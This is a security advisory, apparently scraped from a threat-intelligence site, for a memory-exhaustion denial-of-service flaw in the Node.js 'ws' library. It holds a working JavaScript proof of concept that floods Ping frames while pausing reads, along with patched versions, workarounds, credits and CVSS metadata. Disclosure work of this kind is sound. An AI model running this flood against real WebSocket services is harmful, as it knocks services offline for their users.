CVE-2026-140009
### Impact A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM. ### Proof of concept ```js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(125); const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { ws.pause(); (function ping() { ws.ping(data, function (err) { if (err) return; ping(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to [email protected] (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), [email protected] (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and [email protected] (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1). ### Workarounds In vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the `autoPong` option to `false`, if available. ### Credits The vulnerability was responsibly disclosed by multiple reporters: - [Younghun Ko](https://github.com/koyokr) - [G0r4ni8](https://github.com/kigma00) - [fizzbeom](https://github.com/fizzbeom) - [Huynh Cong Hieu](https://github.com/Drakie14) - [Joseph Devasia](https://github.com/josephdevasia1) - [elba.code](https://gi
Properties
- Severity
- high
- Summary
- ws: Memory exhaustion DoS via unbounded automatic pong responses
- Nvd fetched at
- 2026-12-02T06:37:54.190518+00:00
- Epss score
- 0.00769
- Cvss severity
- HIGH
- Cvss score
- 7.5
- Retrieved at
- 2026-12-02T06:40:14+00:00
- Ghsa published
- 2026-12-01T18:12:48Z
- Source url
- https://github.com/advisories/GHSA-37g9-w4hg-h9qr
- Ghsa updated
- 2026-12-01T18:12:49Z
- Ghsa id
- GHSA-37g9-w4hg-h9qr
- Last source
- FIRST EPSS
- Score
- 7.5
- Cvss version
- 3.1
- Cve id
- CVE-2026-140009
- Cvss vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- First seen by Signal
- 2026-11-30T22:28:40+00:00
- Name
- CVE-2026-140009
- Is ghsa only
- false
- Vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Related Entities (4)
HAS_WEAKNESS (2)
AFFECTS (1)
VULNERABLE_TO (1)
Related research
Explore deeper with Ninja Signal's threat intelligence graph